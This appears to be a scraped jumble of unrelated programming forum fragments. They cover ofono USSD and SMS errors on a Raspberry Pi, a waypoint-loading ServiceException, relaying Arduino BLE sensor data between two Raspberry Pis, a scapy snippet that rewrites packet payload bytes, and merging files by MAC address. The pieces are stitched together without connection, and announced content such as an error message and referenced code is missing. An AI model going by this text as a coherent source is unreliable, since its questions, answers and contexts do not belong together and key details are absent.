I just start working with ofono and when I want to send USSD command.
when I use initiate-ussd <modem> I get this error:

I'm able to make a phone call and receive it. but no USSD.
Got that I didn't have a org.ofono.SupplementaryServices in my Interfaces so how can I add this to my interfaces?
I'm using bluez5, ofono and i'm connecting my cell phone to raspberrypi 4.
Also I intent to send and receive SMS too. But I got the same error on org.ofono.MessageManager.
Thanks a lot

this client can get data from DB and save with dict and save all dict in a list.
i most write "try/except" and i see 43 number! so i know my except is in for i in range(len(wps)):
the amazing point is, i can run this script and i get answer, but if call this script in my ui, after i using save waypoint and i try to load waypoint, i get ServiceException!

I discovered this last night!
I am collecting pressure sensor data from 4 Arduino Nano 33 ble to a raspberry pi 4. I am able to receive the data from all the sensors. Now, I want to send this received data to another Raspberry Pi 4 using BLE communication in real-time such that the first Raspberry Pi acts as a repeater. I searched but could not find a suitable approach or solution to implement this.
The first Raspberry Pi could act as a peripheral/client sending all the received sensor data and the second raspberry pi could act as a central/server to receive all the sensor data which can be further displayed on web interfaces or stored in a database.
I tried connecting initially with one Arduino and sending its data over raspberry Pi. I have written the code for Raspberry Pi Client and Server using Bluedot library in Python.

You can wrap your IP packet with bytes().
Like: newpkt = IP(bytes(pkt[IP]))
I also feel you are getting the TypeError: an integer is required error because of bad identation. It should be:

if chr(data_list[i]).isalpha():
data_list[i] = ord('A')
newdata = bytes(data_list)

More explicitely, i'm looking for MAC ADDRESS that's column three in the file1 making that a key and wants to match it over file2 and if that matches then merge both the file's matches into one line.
